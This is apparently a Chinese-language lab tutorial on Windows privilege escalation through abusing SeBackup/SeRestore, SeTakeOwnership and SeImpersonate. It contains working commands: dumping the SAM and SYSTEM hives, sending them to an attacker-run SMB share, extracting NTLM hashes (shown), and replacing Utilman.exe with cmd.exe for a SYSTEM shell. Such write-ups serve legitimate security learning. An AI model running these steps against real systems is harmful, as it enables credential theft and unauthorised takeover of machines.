:::info 在 Linux 提权中,我们也经常可以看到一些利用用户特权进行提权的方法,该方法类似
:::
特权
C:\> whoami /privPRIVILEGES INFORMATION----------------------Privilege Name Description State============================= ============================== ========SeBackupPrivilege Back up files and directories DisabledSeRestorePrivilege Restore files and directories DisabledSeShutdownPrivilege Shut down the system DisabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set Disabled
我们可以使用该命令来获取用户拥有的特权。
当然 Windows 特权有很多,我们简单介绍几个就可以了,我们可以在这个项目中查看更多的特权方法:
SeBackup / SeRestore
:::info 这个从名字就可以看出来是一个备份特权,我们通常会利用这个方法去获取 密码哈希 进一步来扩大目标
:::
C:\> reg save hklm\system C:\Users\THMBackup\system.hiveThe operation completed successfully.C:\> reg save hklm\sam C:\Users\THMBackup\sam.hiveThe operation completed successfully.
使用 SMB 传输到本地
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
使用 impacket 进行检索密码哈希:
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCALImpacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
然后就可以利用 PTH 进行发起攻击
SeTakeOwnership
:::info 该特权运行用户获得系统上任何对象的所有权
注意要获取到此特权,我们需要使用管理员身份打开命令提示符
:::
C:\> whoami /privPRIVILEGES INFORMATION----------------------Privilege Name Description State============================= ======================================== ========SeTakeOwnershipPrivilege Take ownership of files or other objects DisabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set Disabled
我们将滥用此特权来进行升级, Utilman 是一个内置 Windows 程序,用于在锁屏屏幕间轻松访问:
因为该程序是 SYSTEM 权限,所以我们可以替换此文件进行提权:
我们先来获取所有权
C:\> takeown /f C:\Windows\System32\Utilman.exeSUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".
获取所有权后,我们为自己分配相关权限
在此之后,我们将 utilman.exe 替换为 cmd 的副本.exe:
C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:Fprocessed file: Utilman.exeSuccessfully processed 1 files; Failed processing 0 files
C:\Windows\System32\> copy cmd.exe utilman.exe1 file(s) copied.
SeImpersonate / SeAssignPrimaryToken
:::info 该特权运行进程模拟其他用户代表他们执行操作
这涉及到 Windows 访问令牌的相关知识
利用程序:GitHub - k4sth4/PrintSpoofer: Windows Privilege Escalation
:::
如果我们拥有此特权,我们可以尝试模拟任何连接到指定进程,并经过身份验证的用户。
如果要使用此漏洞进行提权,我们需要两个条件:
- 生成进程,以便用户可以连接进行身份验证
- 找到一种方法使特权用户去连接我们的恶意进程
实例:Relevant
